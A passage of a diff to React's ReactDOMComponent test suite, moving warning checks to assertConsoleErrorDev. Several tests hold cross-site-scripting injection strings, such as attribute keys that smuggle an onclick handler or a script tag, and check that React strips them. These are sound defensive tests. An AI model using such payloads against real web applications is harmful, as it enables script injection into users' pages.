-          root.render(<div onUnknown='alert("hack")' />);
-        });
-      }).toErrorDev(
-        'Unknown event handler property `onUnknown`. It will be ignored.\n    in div (at **)',
-      );
+      await act(() => {
+        root.render(<div onUnknown='alert("hack")' />);
+      });
+      assertConsoleErrorDev([
+        'Unknown event handler property `onUnknown`. It will be ignored.\n' +
+          '    in div (at **)',
+      ]);
       expect(container.firstChild.hasAttribute('onUnknown')).toBe(false);
       expect(container.firstChild.onUnknown).toBe(undefined);
-      await expect(async () => {
-        await act(() => {
-          root.render(<div onunknown='alert("hack")' />);
-        });
-      }).toErrorDev(
-        'Unknown event handler property `onunknown`. It will be ignored.\n    in div (at **)',
-      );
+      await act(() => {
+        root.render(<div onunknown='alert("hack")' />);
+      });
+      assertConsoleErrorDev([
+        'Unknown event handler property `onunknown`. It will be ignored.\n' +
+          '    in div (at **)',
+      ]);
       expect(container.firstChild.hasAttribute('onunknown')).toBe(false);
       expect(container.firstChild.onunknown).toBe(undefined);
-      await expect(async () => {
-        await act(() => {
-          root.render(<div on-unknown='alert("hack")' />);
-        });
-      }).toErrorDev(
-        'Unknown event handler property `on-unknown`. It will be ignored.\n    in div (at **)',
-      );
+
+      await act(() => {
+        root.render(<div on-unknown='alert("hack")' />);
+      });
+      assertConsoleErrorDev([
+        'Unknown event handler property `on-unknown`. It will be ignored.\n' +
+          '    in div (at **)',
+      ]);
       expect(container.firstChild.hasAttribute('on-unknown')).toBe(false);
       expect(container.firstChild['on-unknown']).toBe(undefined);
     });
@@ -263,31 +265,31 @@ describe('ReactDOMComponent', () => {
     it('should warn for unknown function event handlers', async () => {
       const container = document.createElement('div');
       const root = ReactDOMClient.createRoot(container);
-      await expect(async () => {
-        await act(() => {
-          root.render(<div onUnknown={function () {}} />);
-        });
-      }).toErrorDev(
-        'Unknown event handler property `onUnknown`. It will be ignored.\n    in div (at **)',
-      );
+      await act(() => {
+        root.render(<div onUnknown={function () {}} />);
+      });
+      assertConsoleErrorDev([
+        'Unknown event handler property `onUnknown`. It will be ignored.\n' +
+          '    in div (at **)',
+      ]);
       expect(container.firstChild.hasAttribute('onUnknown')).toBe(false);
       expect(container.firstChild.onUnknown).toBe(undefined);
-      await expect(async () => {
-        await act(() => {
-          root.render(<div onunknown={function () {}} />);
-        });
-      }).toErrorDev(
-        'Unknown event handler property `onunknown`. It will be ignored.\n    in div (at **)',
-      );
+      await act(() => {
+        root.render(<div onunknown={function () {}} />);
+      });
+      assertConsoleErrorDev([
+        'Unknown event handler property `onunknown`. It will be ignored.\n' +
+          '    in div (at **)',
+      ]);
       expect(container.firstChild.hasAttribute('onunknown')).toBe(false);
       expect(container.firstChild.onunknown).toBe(undefined);
-      await expect(async () => {
-        await act(() => {
-          root.render(<div on-unknown={function () {}} />);
-        });
-      }).toErrorDev(
-        'Unknown event handler property `on-unknown`. It will be ignored.\n    in div (at **)',
-      );
+      await act(() => {
+        root.render(<div on-unknown={function () {}} />);
+      });
+      assertConsoleErrorDev([
+        'Unknown event handler property `on-unknown`. It will be ignored.\n' +
+          '    in div (at **)',
+      ]);
       expect(container.firstChild.hasAttribute('on-unknown')).toBe(false);
       expect(container.firstChild['on-unknown']).toBe(undefined);
     });
@@ -295,13 +297,13 @@ describe('ReactDOMComponent', () => {
     it('should warn for badly cased React attributes', async () => {
       const container = document.createElement('div');
       const root = ReactDOMClient.createRoot(container);
-      await expect(async () => {
-        await act(() => {
-          root.render(<div CHILDREN="5" />);
-        });
-      }).toErrorDev(
-        'Invalid DOM property `CHILDREN`. Did you mean `children`?\n    in div (at **)',
-      );
+      await act(() => {
+        root.render(<div CHILDREN="5" />);
+      });
+      assertConsoleErrorDev([
+        'Invalid DOM property `CHILDREN`. Did you mean `children`?\n' +
+          '    in div (at **)',
+      ]);
       expect(container.firstChild.getAttribute('CHILDREN')).toBe('5');
     });
 
@@ -323,14 +325,13 @@ describe('ReactDOMComponent', () => {
       const style = {fontSize: NaN};
       const div = document.createElement('div');
       const root = ReactDOMClient.createRoot(div);
-      await expect(async () => {
-        await act(() => {
-          root.render(<span style={style} />);
-        });
-      }).toErrorDev(
-        '`NaN` is an invalid value for the `fontSize` css style property.' +
-          '\n    in span (at **)',
-      );
+      await act(() => {
+        root.render(<span style={style} />);
+      });
+      assertConsoleErrorDev([
+        '`NaN` is an invalid value for the `fontSize` css style property.\n' +
+          '    in span (at **)',
+      ]);
       await act(() => {
         root.render(<span style={style} />);
       });
@@ -350,15 +351,18 @@ describe('ReactDOMComponent', () => {
       const style = {fontSize: new TemporalLike()};
       const root = ReactDOMClient.createRoot(document.createElement('div'));
       await expect(async () => {
-        await expect(async () => {
-          await act(() => {
-            root.render(<span style={style} />);
-          });
-        }).toErrorDev(
-          'The provided `fontSize` CSS property is an unsupported type TemporalLike.' +
-            ' This value must be coerced to a string before using it here.',
-        );
+        await act(() => {
+          root.render(<span style={style} />);
+        });
       }).rejects.toThrowError(new TypeError('prod message'));
+      assertConsoleErrorDev([
+        'The provided `fontSize` CSS property is an unsupported type TemporalLike.' +
+          ' This value must be coerced to a string before using it here.\n' +
+          '    in span (at **)',
+        'The provided `fontSize` CSS property is an unsupported type TemporalLike.' +
+          ' This value must be coerced to a string before using it here.\n' +
+          '    in span (at **)',
+      ]);
     });
 
     it('should update styles if initially null', async () => {
@@ -587,133 +591,131 @@ describe('ReactDOMComponent', () => {
       expect(node.hasAttribute('data-foo')).toBe(false);
     });
 
-    if (ReactFeatureFlags.enableFilterEmptyStringAttributesDOM) {
-      it('should not add an empty src attribute', async () => {
-        const container = document.createElement('div');
-        const root = ReactDOMClient.createRoot(container);
-        await expect(async () => {
-          await act(() => {
-            root.render(<img src="" />);
-          });
-        }).toErrorDev(
-          'An empty string ("") was passed to the src attribute. ' +
-            'This may cause the browser to download the whole page again over the network. ' +
-            'To fix this, either do not render the element at all ' +
-            'or pass null to src instead of an empty string.',
-        );
-        const node = container.firstChild;
-        expect(node.hasAttribute('src')).toBe(false);
+    it('should not add an empty src attribute', async () => {
+      const container = document.createElement('div');
+      const root = ReactDOMClient.createRoot(container);
+      await act(() => {
+        root.render(<img src="" />);
+      });
+      assertConsoleErrorDev([
+        'An empty string ("") was passed to the src attribute. ' +
+          'This may cause the browser to download the whole page again over the network. ' +
+          'To fix this, either do not render the element at all ' +
+          'or pass null to src instead of an empty string.\n' +
+          '    in img (at **)',
+      ]);
+      const node = container.firstChild;
+      expect(node.hasAttribute('src')).toBe(false);
 
-        await act(() => {
-          root.render(<img src="abc" />);
-        });
-        expect(node.hasAttribute('src')).toBe(true);
-
-        await expect(async () => {
-          await act(() => {
-            root.render(<img src="" />);
-          });
-        }).toErrorDev(
-          'An empty string ("") was passed to the src attribute. ' +
-            'This may cause the browser to download the whole page again over the network. ' +
-            'To fix this, either do not render the element at all ' +
-            'or pass null to src instead of an empty string.',
-        );
-        expect(node.hasAttribute('src')).toBe(false);
+      await act(() => {
+        root.render(<img src="abc" />);
       });
+      expect(node.hasAttribute('src')).toBe(true);
 
-      it('should not add an empty href attribute', async () => {
-        const container = document.createElement('div');
-        const root = ReactDOMClient.createRoot(container);
-        await expect(async () => {
-          await act(() => {
-            root.render(<link href="" />);
-          });
-        }).toErrorDev(
-          'An empty string ("") was passed to the href attribute. ' +
-            'To fix this, either do not render the element at all ' +
-            'or pass null to href instead of an empty string.',
-        );
-        const node = container.firstChild;
-        expect(node.hasAttribute('href')).toBe(false);
+      await act(() => {
+        root.render(<img src="" />);
+      });
+      assertConsoleErrorDev([
+        'An empty string ("") was passed to the src attribute. ' +
+          'This may cause the browser to download the whole page again over the network. ' +
+          'To fix this, either do not render the element at all ' +
+          'or pass null to src instead of an empty string.\n' +
+          '    in img (at **)',
+      ]);
+      expect(node.hasAttribute('src')).toBe(false);
+    });
 
-        await act(() => {
-          root.render(<link href="abc" />);
-        });
-        expect(node.hasAttribute('href')).toBe(true);
-
-        await expect(async () => {
-          await act(() => {
-            root.render(<link href="" />);
-          });
-        }).toErrorDev(
-          'An empty string ("") was passed to the href attribute. ' +
-            'To fix this, either do not render the element at all ' +
-            'or pass null to href instead of an empty string.',
-        );
-        expect(node.hasAttribute('href')).toBe(false);
+    it('should not add an empty href attribute', async () => {
+      const container = document.createElement('div');
+      const root = ReactDOMClient.createRoot(container);
+      await act(() => {
+        root.render(<link href="" />);
       });
+      assertConsoleErrorDev([
+        'An empty string ("") was passed to the href attribute. ' +
+          'To fix this, either do not render the element at all ' +
+          'or pass null to href instead of an empty string.\n' +
+          '    in link (at **)',
+      ]);
+      const node = container.firstChild;
+      expect(node.hasAttribute('href')).toBe(false);
 
-      it('should allow an empty href attribute on anchors', async () => {
-        const container = document.createElement('div');
-        const root = ReactDOMClient.createRoot(container);
-        await act(() => {
-          root.render(<a href="" />);
-        });
-        const node = container.firstChild;
-        expect(node.getAttribute('href')).toBe('');
+      await act(() => {
+        root.render(<link href="abc" />);
       });
+      expect(node.hasAttribute('href')).toBe(true);
 
-      it('should allow an empty action attribute', async () => {
-        const container = document.createElement('div');
-        const root = ReactDOMClient.createRoot(container);
-        await act(() => {
-          root.render(<form action="" />);
-        });
-        const node = container.firstChild;
-        expect(node.getAttribute('action')).toBe('');
+      await act(() => {
+        root.render(<link href="" />);
+      });
+      assertConsoleErrorDev([
+        'An empty string ("") was passed to the href attribute. ' +
+          'To fix this, either do not render the element at all ' +
+          'or pass null to href instead of an empty string.\n' +
+          '    in link (at **)',
+      ]);
+      expect(node.hasAttribute('href')).toBe(false);
+    });
 
-        await act(() => {
-          root.render(<form action="abc" />);
-        });
-        expect(node.hasAttribute('action')).toBe(true);
+    it('should allow an empty href attribute on anchors', async () => {
+      const container = document.createElement('div');
+      const root = ReactDOMClient.createRoot(container);
+      await act(() => {
+        root.render(<a href="" />);
+      });
+      const node = container.firstChild;
+      expect(node.getAttribute('href')).toBe('');
+    });
 
-        await act(() => {
-          root.render(<form action="" />);
-        });
-        expect(node.getAttribute('action')).toBe('');
+    it('should allow an empty action attribute', async () => {
+      const container = document.createElement('div');
+      const root = ReactDOMClient.createRoot(container);
+      await act(() => {
+        root.render(<form action="" />);
       });
+      const node = container.firstChild;
+      expect(node.getAttribute('action')).toBe('');
 
-      it('allows empty string of a formAction to override the default of a parent', async () => {
-        const container = document.createElement('div');
-        const root = ReactDOMClient.createRoot(container);
-        await act(() => {
-          root.render(
-            <form action="hello">
-              <button formAction="" />,
-            </form>,
-          );
-        });
-        const node = container.firstChild.firstChild;
-        expect(node.hasAttribute('formaction')).toBe(true);
-        expect(node.getAttribute('formaction')).toBe('');
+      await act(() => {
+        root.render(<form action="abc" />);
       });
+      expect(node.hasAttribute('action')).toBe(true);
 
-      it('should not filter attributes for custom elements', async () => {
-        const container = document.createElement('div');
-        const root = ReactDOMClient.createRoot(container);
-        await act(() => {
-          root.render(
-            <some-custom-element action="" formAction="" href="" src="" />,
-          );
-        });
-        const node = container.firstChild;
-        expect(node.hasAttribute('action')).toBe(true);
-        expect(node.hasAttribute('formAction')).toBe(true);
-        expect(node.hasAttribute('href')).toBe(true);
-        expect(node.hasAttribute('src')).toBe(true);
+      await act(() => {
+        root.render(<form action="" />);
       });
-    }
+      expect(node.getAttribute('action')).toBe('');
+    });
+
+    it('allows empty string of a formAction to override the default of a parent', async () => {
+      const container = document.createElement('div');
+      const root = ReactDOMClient.createRoot(container);
+      await act(() => {
+        root.render(
+          <form action="hello">
+            <button formAction="" />,
+          </form>,
+        );
+      });
+      const node = container.firstChild.firstChild;
+      expect(node.hasAttribute('formaction')).toBe(true);
+      expect(node.getAttribute('formaction')).toBe('');
+    });
+
+    it('should not filter attributes for custom elements', async () => {
+      const container = document.createElement('div');
+      const root = ReactDOMClient.createRoot(container);
+      await act(() => {
+        root.render(
+          <some-custom-element action="" formAction="" href="" src="" />,
+        );
+      });
+      const node = container.firstChild;
+      expect(node.hasAttribute('action')).toBe(true);
+      expect(node.hasAttribute('formAction')).toBe(true);
+      expect(node.hasAttribute('href')).toBe(true);
+      expect(node.hasAttribute('src')).toBe(true);
+    });
 
     it('should apply React-specific aliases to HTML elements', async () => {
       const container = document.createElement('div');
@@ -873,217 +875,248 @@ describe('ReactDOMComponent', () => {
     });
 
     it('should reject attribute key injection attack on markup for regular DOM (SSR)', () => {
-      expect(() => {
-        for (let i = 0; i < 3; i++) {
-          const element1 = React.createElement(
-            'div',
-            {'blah" onclick="beevil" noise="hi': 'selected'},
-            null,
-          );
-          const element2 = React.createElement(
-            'div',
-            {'></div><script>alert("hi")</script>': 'selected'},
-            null,
-          );
-          const result1 = ReactDOMServer.renderToString(element1);
-          const result2 = ReactDOMServer.renderToString(element2);
-          expect(result1.toLowerCase()).not.toContain('onclick');
-          expect(result2.toLowerCase()).not.toContain('script');
-        }
-      }).toErrorDev([
-        'Invalid attribute name: `blah" onclick="beevil" noise="hi`',
-        'Invalid attribute name: `></div><script>alert("hi")</script>`',
+      for (let i = 0; i < 3; i++) {
+        const element1 = React.createElement(
+          'div',
+          {'blah" onclick="beevil" noise="hi': 'selected'},
+          null,
+        );
+        const element2 = React.createElement(
+          'div',
+          {'></div><script>alert("hi")</script>': 'selected'},
+          null,
+        );
+        const result1 = ReactDOMServer.renderToString(element1);
+        const result2 = ReactDOMServer.renderToString(element2);
+        expect(result1.toLowerCase()).not.toContain('onclick');
+        expect(result2.toLowerCase()).not.toContain('script');
+      }
+      assertConsoleErrorDev([
+        'Invalid attribute name: `blah" onclick="beevil" noise="hi`\n' +
+          '    in div (at **)',
+        'Invalid attribute name: `></div><script>alert("hi")</script>`\n' +
+          '    in div (at **)',
       ]);
     });
 
     it('should reject attribute key injection attack on markup for custom elements (SSR)', () => {
-      expect(() => {
-        for (let i = 0; i < 3; i++) {
-          const element1 = React.createElement(
-            'x-foo-component',
-            {'blah" onclick="beevil" noise="hi': 'selected'},
-            null,
-          );
-          const element2 = React.createElement(
-            'x-foo-component',
-            {'></x-foo-component><script>alert("hi")</script>': 'selected'},
-            null,
-          );
-          const result1 = ReactDOMServer.renderToString(element1);
-          const result2 = ReactDOMServer.renderToString(element2);
-          expect(result1.toLowerCase()).not.toContain('onclick');
-          expect(result2.toLowerCase()).not.toContain('script');
-        }
-      }).toErrorDev([
-        'Invalid attribute name: `blah" onclick="beevil" noise="hi`',
-        'Invalid attribute name: `></x-foo-component><script>alert("hi")</script>`',
+      for (let i = 0; i < 3; i++) {
+        const element1 = React.createElement(
+          'x-foo-component',
+          {'blah" onclick="beevil" noise="hi': 'selected'},
+          null,
+        );
+        const element2 = React.createElement(
+          'x-foo-component',
+          {'></x-foo-component><script>alert("hi")</script>': 'selected'},
+          null,
+        );
+        const result1 = ReactDOMServer.renderToString(element1);
+        const result2 = ReactDOMServer.renderToString(element2);
+        expect(result1.toLowerCase()).not.toContain('onclick');
+        expect(result2.toLowerCase()).not.toContain('script');
+      }
+      assertConsoleErrorDev([
+        'Invalid attribute name: `blah" onclick="beevil" noise="hi`\n' +
+          '    in x-foo-component (at **)',
+        'Invalid attribute name: `></x-foo-component><script>alert("hi")</script>`\n' +
+          '    in x-foo-component (at **)',
       ]);
     });
 
     it('should reject attribute key injection attack on mount for regular DOM', async () => {
-      await expect(async () => {
-        for (let i = 0; i < 3; i++) {
-          const container = document.createElement('div');
-          let root = ReactDOMClient.createRoot(container);
-          await act(() => {
-            root.render(
-              React.createElement(
-                'div',
-                {'blah" onclick="beevil" noise="hi': 'selected'},
-                null,
-              ),
-            );
-          });
-
-          expect(container.firstChild.attributes.length).toBe(0);
-          await act(() => {
-            root.unmount();
-          });
-          root = ReactDOMClient.createRoot(container);
-          await act(() => {
-            root.render(
-              React.createElement(
-                'div',
-                {'></div><script>alert("hi")</script>': 'selected'},
-                null,
-              ),
-            );
-          });
-
-          expect(container.firstChild.attributes.length).toBe(0);
+      for (let i = 0; i < 3; i++) {
+        const container = document.createElement('div');
+        let root = ReactDOMClient.createRoot(container);
+        await act(() => {
+          root.render(
+            React.createElement(
+              'div',
+              {'blah" onclick="beevil" noise="hi': 'selected'},
+              null,
+            ),
+          );
+        });
+
+        expect(container.firstChild.attributes.length).toBe(0);
+        if (i === 0) {
+          assertConsoleErrorDev([
+            'Invalid attribute name: `blah" onclick="beevil" noise="hi`\n' +
+              '    in div (at **)',
+          ]);
         }
-      }).toErrorDev([
-        'Invalid attribute name: `blah" onclick="beevil" noise="hi`',
-        'Invalid attribute name: `></div><script>alert("hi")</script>`',
-      ]);
+        await act(() => {
+          root.unmount();
+        });
+        root = ReactDOMClient.createRoot(container);
+        await act(() => {
+          root.render(
+            React.createElement(
+              'div',
+              {'></div><script>alert("hi")</script>': 'selected'},
+              null,
+            ),
+          );
+        });
+        if (i === 0) {
+          assertConsoleErrorDev([
+            'Invalid attribute name: `></div><script>alert("hi")</script>`\n' +
+              '    in div (at **)',
+          ]);
+        }
+
+        expect(container.firstChild.attributes.length).toBe(0);
+      }
     });
 
     it('should reject attribute key injection attack on mount for custom elements', async () => {
-      await expect(async () => {
-        for (let i = 0; i < 3; i++) {
-          const container = document.createElement('div');
-          let root = ReactDOMClient.createRoot(container);
-
-          await act(() => {
-            root.render(
-              React.createElement(
-                'x-foo-component',
-                {'blah" onclick="beevil" noise="hi': 'selected'},
-                null,
-              ),
-            );
-          });
-
-          expect(container.firstChild.attributes.length).toBe(0);
-          await act(() => {
-            root.unmount();
-          });
-          root = ReactDOMClient.createRoot(container);
-          await act(() => {
-            root.render(
-              React.createElement(
-                'x-foo-component',
-                {'></x-foo-component><script>alert("hi")</script>': 'selected'},
-                null,
-              ),
-            );
-          });
-
-          expect(container.firstChild.attributes.length).toBe(0);
-        }
-      }).toErrorDev([
-        'Invalid attribute name: `blah" onclick="beevil" noise="hi`',
-        'Invalid attribute name: `></x-foo-component><script>alert("hi")</script>`',
-      ]);
-    });
+      for (let i = 0; i < 3; i++) {
+        const container = document.createElement('div');
+        let root = ReactDOMClient.createRoot(container);
 
-    it('should reject attribute key injection attack on update for regular DOM', async () => {
-      await expect(async () => {
-        for (let i = 0; i < 3; i++) {
-          const container = document.createElement('div');
-          const beforeUpdate = React.createElement('div', {}, null);
-          const root = ReactDOMClient.createRoot(container);
-          await act(() => {
-            root.render(beforeUpdate);
-          });
-          await act(() => {
-            root.render(
-              React.createElement(
-                'div',
-                {'blah" onclick="beevil" noise="hi': 'selected'},
-                null,
-              ),
-            );
-          });
-
-          expect(container.firstChild.attributes.length).toBe(0);
-          await act(() => {
-            root.render(
-              React.createElement(
-                'div',
-                {'></div><script>alert("hi")</script>': 'selected'},
-                null,
-              ),
-            );
-          });
-
-          expect(container.firstChild.attributes.length).toBe(0);
-        }
-      }).toErrorDev([
-        'Invalid attribute name: `blah" onclick="beevil" noise="hi`',
-        'Invalid attribute name: `></div><script>alert("hi")</script>`',
-      ]);
-    });
+        await act(() => {
+          root.render(
+            React.createElement(
+              'x-foo-component',
+              {'blah" onclick="beevil" noise="hi': 'selected'},
+              null,
+            ),
+          );
+        });
 
-    it('should reject attribute key injection attack on update for custom elements', async () => {
-      await expect(async () => {
-        for (let i = 0; i < 3; i++) {
-          const container = document.createElement('div');
-          const beforeUpdate = React.createElement('x-foo-component', {}, null);
-          const root = ReactDOMClient.createRoot(container);
-          await act(() => {
-            root.render(beforeUpdate);
-          });
-          await act(() => {
-            root.render(
-              React.createElement(
-                'x-foo-component',
-                {'blah" onclick="beevil" noise="hi': 'selected'},
-                null,
-              ),
-            );
-          });
-
-          expect(container.firstChild.attributes.length).toBe(0);
-          await act(() => {
-            root.render(
-              React.createElement(
-                'x-foo-component',
-                {'></x-foo-component><script>alert("hi")</script>': 'selected'},
-                null,
-              ),
-            );
-          });
-
-          expect(container.firstChild.attributes.length).toBe(0);
+        if (i === 0) {
+          assertConsoleErrorDev([
+            'Invalid attribute name: `blah" onclick="beevil" noise="hi`\n' +
+              '    in x-foo-component (at **)',
+          ]);
         }
-      }).toErrorDev([
-        'Invalid attribute name: `blah" onclick="beevil" noise="hi`',
-        'Invalid attribute name: `></x-foo-component><script>alert("hi")</script>`',
-      ]);
-    });
+        expect(container.firstChild.attributes.length).toBe(0);
+        await act(() => {
+          root.unmount();
+        });
 
-    it('should update arbitrary attributes for tags containing dashes', async () => {
-      const container = document.createElement('div');
-      const root = ReactDOMClient.createRoot(container);
+        root = ReactDOMClient.createRoot(container);
+        await act(() => {
+          root.render(
+            React.createElement(
+              'x-foo-component',
+              {'></x-foo-component><script>alert("hi")</script>': 'selected'},
+              null,
+            ),
+          );
+        });
 
-      const beforeUpdate = React.createElement('x-foo-component', {}, null);
-      await act(() => {
-        root.render(beforeUpdate);
-      });
+        if (i === 0) {
+          assertConsoleErrorDev([
+            'Invalid attribute name: `></x-foo-component><script>alert("hi")</script>`\n' +
+              '    in x-foo-component (at **)',
+          ]);
+        }
+        expect(container.firstChild.attributes.length).toBe(0);
+      }
+    });
 
-      const afterUpdate = <x-foo-component myattr="myval" />;
-      await act(() => {
+    it('should reject attribute key injection attack on update for regular DOM', async () => {
+      for (let i = 0; i < 3; i++) {
+        const container = document.createElement('div');
+        const beforeUpdate = React.createElement('div', {}, null);
+        const root = ReactDOMClient.createRoot(container);
+        await act(() => {
+          root.render(beforeUpdate);
+        });
+        await act(() => {
+          root.render(
+            React.createElement(
+              'div',
+              {'blah" onclick="beevil" noise="hi': 'selected'},
+              null,
+            ),
+          );
+        });
+
+        if (i === 0) {
+          assertConsoleErrorDev([
+            'Invalid attribute name: `blah" onclick="beevil" noise="hi`\n' +
+              '    in div (at **)',
+          ]);
+        }
+        expect(container.firstChild.attributes.length).toBe(0);
+        await act(() => {
+          root.render(
+            React.createElement(
+              'div',
+              {'></div><script>alert("hi")</script>': 'selected'},
+              null,
+            ),
+          );
+        });
+        if (i === 0) {
+          assertConsoleErrorDev([
+            'Invalid attribute name: `></div><script>alert("hi")</script>`\n' +
+              '    in div (at **)',
+          ]);
+        }
+
+        expect(container.firstChild.attributes.length).toBe(0);
+      }
+    });
+
+    it('should reject attribute key injection attack on update for custom elements', async () => {
+      for (let i = 0; i < 3; i++) {
+        const container = document.createElement('div');
+        const beforeUpdate = React.createElement('x-foo-component', {}, null);
+        const root = ReactDOMClient.createRoot(container);
+        await act(() => {
+          root.render(beforeUpdate);
+        });
+        await act(() => {
+          root.render(
+            React.createElement(
+              'x-foo-component',
+              {'blah" onclick="beevil" noise="hi': 'selected'},
+              null,
+            ),
+          );
+        });
+
+        if (i === 0) {
+          assertConsoleErrorDev([
+            'Invalid attribute name: `blah" onclick="beevil" noise="hi`\n' +
+              '    in x-foo-component (at **)',
+          ]);
+        }
+        expect(container.firstChild.attributes.length).toBe(0);
+        await act(() => {
+          root.render(
+            React.createElement(
+              'x-foo-component',
+              {'></x-foo-component><script>alert("hi")</script>': 'selected'},
+              null,
+            ),
+          );
+        });
+
+        if (i === 0) {
+          assertConsoleErrorDev([
+            'Invalid attribute name: `></x-foo-component><script>alert("hi")</script>`\n' +
+              '    in x-foo-component (at **)',
+          ]);
+        }
+        expect(container.firstChild.attributes.length).toBe(0);
+      }
+    });
+
+    it('should update arbitrary attributes for tags containing dashes', async () => {
+      const container = document.createElement('div');
+      const root = ReactDOMClient.createRoot(container);
+
+      const beforeUpdate = React.createElement('x-foo-component', {}, null);
+      await act(() => {
+        root.render(beforeUpdate);
+      });
+
+      const afterUpdate = <x-foo-component myattr="myval" />;
+      await act(() => {
         root.render(afterUpdate);
       });
 
@@ -1384,36 +1417,38 @@ describe('ReactDOMComponent', () => {
       });
       expect(nodeValueSetter).toHaveBeenCalledTimes(1);
 
-      await expect(async () => {
-        await act(() => {
-          root.render(<input onChange={onChange} />);
-        });
-      }).toErrorDev(
+      await act(() => {
+        root.render(<input onChange={onChange} />);
+      });
+      assertConsoleErrorDev([
         'A component is changing a controlled input to be uncontrolled. This is likely caused by ' +
           'the value changing from a defined to undefined, which should not happen. Decide between ' +
-          'using a controlled or uncontrolled input element for the lifetime of the component.',
-      );
+          'using a controlled or uncontrolled input element for the lifetime of the component. ' +
+          'More info: https://react.dev/link/controlled-components\n' +
+          '    in input (at **)',
+      ]);
       expect(nodeValueSetter).toHaveBeenCalledTimes(1);
 
-      await expect(async () => {
-        await act(() => {
-          root.render(<input value={null} onChange={onChange} />);
-        });
-      }).toErrorDev(
-        'value` prop on `input` should not be null. Consider using an empty string to clear the ' +
-          'component or `undefined` for uncontrolled components.',
-      );
+      await act(() => {
+        root.render(<input value={null} onChange={onChange} />);
+      });
+      assertConsoleErrorDev([
+        '`value` prop on `input` should not be null. Consider using an empty string to clear the ' +
+          'component or `undefined` for uncontrolled components.\n' +
+          '    in input (at **)',
+      ]);
       expect(nodeValueSetter).toHaveBeenCalledTimes(1);
 
-      await expect(async () => {
-        await act(() => {
-          root.render(<input value="" onChange={onChange} />);
-        });
-      }).toErrorDev(
+      await act(() => {
+        root.render(<input value="" onChange={onChange} />);
+      });
+      assertConsoleErrorDev([
         'A component is changing an uncontrolled input to be controlled. This is likely caused by ' +
           'the value changing from undefined to a defined value, which should not happen. Decide between ' +
-          'using a controlled or uncontrolled input element for the lifetime of the component.',
-      );
+          'using a controlled or uncontrolled input element for the lifetime of the component. ' +
+          'More info: https://react.dev/link/controlled-components\n' +
+          '    in input (at **)',
+      ]);
       expect(nodeValueSetter).toHaveBeenCalledTimes(2);
 
       await act(() => {
@@ -1464,14 +1499,14 @@ describe('ReactDOMComponent', () => {
     it('should warn about non-string "is" attribute', async () => {
       const container = document.createElement('div');
       const root = ReactDOMClient.createRoot(container);
-      await expect(async () => {
-        await act(() => {
-          root.render(<button is={function () {}} />);
-        });
-      }).toErrorDev(
+      await act(() => {
+        root.render(<button is={function () {}} />);
+      });
+      assertConsoleErrorDev([
         'Received a `function` for a string attribute `is`. If this is expected, cast ' +
-          'the value to a string.',
-      );
+          'the value to a string.\n' +
+          '    in button (at **)',
+      ]);
     });
 
     it('should not update when switching between null/undefined', async () => {
@@ -1645,15 +1680,14 @@ describe('ReactDOMComponent', () => {
         }
       }
 
-      let returnedValue;
-
-      expect(() => {
-        returnedValue = ReactDOMServer.renderToString(<Container />);
-      }).toErrorDev(
+      const returnedValue = ReactDOMServer.renderToString(<Container />);
+      assertConsoleErrorDev([
         '<BR /> is using incorrect casing. ' +
           'Use PascalCase for React components, ' +
-          'or lowercase for HTML elements.',
-      );
+          'or lowercase for HTML elements.\n' +
+          '    in BR (at **)\n' +
+          '    in Container (at **)',
+      ]);
       // This includes a duplicate tag because we didn't treat this as self-closing.
       expect(returnedValue).toContain('</BR>');
     });
@@ -1673,32 +1707,32 @@ describe('ReactDOMComponent', () => {
         root.render(React.createElement('CUSTOM-TAG'));
       });
 
-      await expect(async () => {
-        container = document.createElement('div');
-        root = ReactDOMClient.createRoot(container);
+      container = document.createElement('div');
+      root = ReactDOMClient.createRoot(container);
 
-        await act(() => {
-          root.render(React.createElement('IMG'));
-        });
-      }).toErrorDev(
+      await act(() => {
+        root.render(React.createElement('IMG'));
+      });
+      assertConsoleErrorDev([
         '<IMG /> is using incorrect casing. ' +
           'Use PascalCase for React components, ' +
-          'or lowercase for HTML elements.',
-      );
+          'or lowercase for HTML elements.\n' +
+          '    in IMG (at **)',
+      ]);
     });
 
     it('should warn on props reserved for future use', async () => {
-      await expect(async () => {
-        const container = document.createElement('div');
-        const root = ReactDOMClient.createRoot(container);
+      const container = document.createElement('div');
+      const root = ReactDOMClient.createRoot(container);
 
-        await act(() => {
-          root.render(<div aria="hello" />);
-        });
-      }).toErrorDev(
+      await act(() => {
+        root.render(<div aria="hello" />);
+      });
+      assertConsoleErrorDev([
         'The `aria` attribute is reserved for future use in React. ' +
-          'Pass individual `aria-` attributes instead.',
-      );
+          'Pass individual `aria-` attributes instead.\n' +
+          '    in div (at **)',
+      ]);
     });
 
     it('should warn if the tag is unrecognized', async () => {
@@ -1714,48 +1748,43 @@ describe('ReactDOMComponent', () => {
         };
         Object.prototype.toString = wrappedToString; // eslint-disable-line no-extend-native
 
-        await expect(async () => {
-          const container = document.createElement('div');
-          const root = ReactDOMClient.createRoot(container);
+        const root = ReactDOMClient.createRoot(document.createElement('div'));
 
-          await act(() => {
-            root.render(<bar />);
-          });
-        }).toErrorDev('The tag <bar> is unrecognized in this browser');
+        await act(() => {
+          root.render(<bar />);
+        });
+        assertConsoleErrorDev([
+          'The tag <bar> is unrecognized in this browser. ' +
+            'If you meant to render a React component, start its name with an uppercase letter.\n' +
+            '    in bar (at **)',
+        ]);
         // Test deduplication
-        await expect(async () => {
-          const container = document.createElement('div');
-          const root = ReactDOMClient.createRoot(container);
-
-          await act(() => {
-            root.render(<foo />);
-          });
-        }).toErrorDev('The tag <foo> is unrecognized in this browser');
-        let container = document.createElement('div');
-        let root = ReactDOMClient.createRoot(container);
         await act(() => {
           root.render(<foo />);
         });
-
-        container = document.createElement('div');
-        root = ReactDOMClient.createRoot(container);
+        assertConsoleErrorDev([
+          'The tag <foo> is unrecognized in this browser. ' +
+            'If you meant to render a React component, start its name with an uppercase letter.\n' +
+            '    in foo (at **)',
+        ]);
+        await act(() => {
+          root.render(<foo />);
+        });
         await act(() => {
           root.render(<time />);
         });
 
         // Corner case. Make sure out deduplication logic doesn't break with weird tag.
-        await expect(async () => {
-          container = document.createElement('div');
-          root = ReactDOMClient.createRoot(container);
-
-          await act(() => {
-            root.render(<hasOwnProperty />);
-          });
-        }).toErrorDev([
+        await act(() => {
+          root.render(<hasOwnProperty />);
+        });
+        assertConsoleErrorDev([
           '<hasOwnProperty /> is using incorrect casing. ' +
-            'Use PascalCase for React components, ' +
-            'or lowercase for HTML elements.',
-          'The tag <hasOwnProperty> is unrecognized in this browser',
+            'Use PascalCase for React components, or lowercase for HTML elements.\n' +
+            '    in hasOwnProperty (at **)',
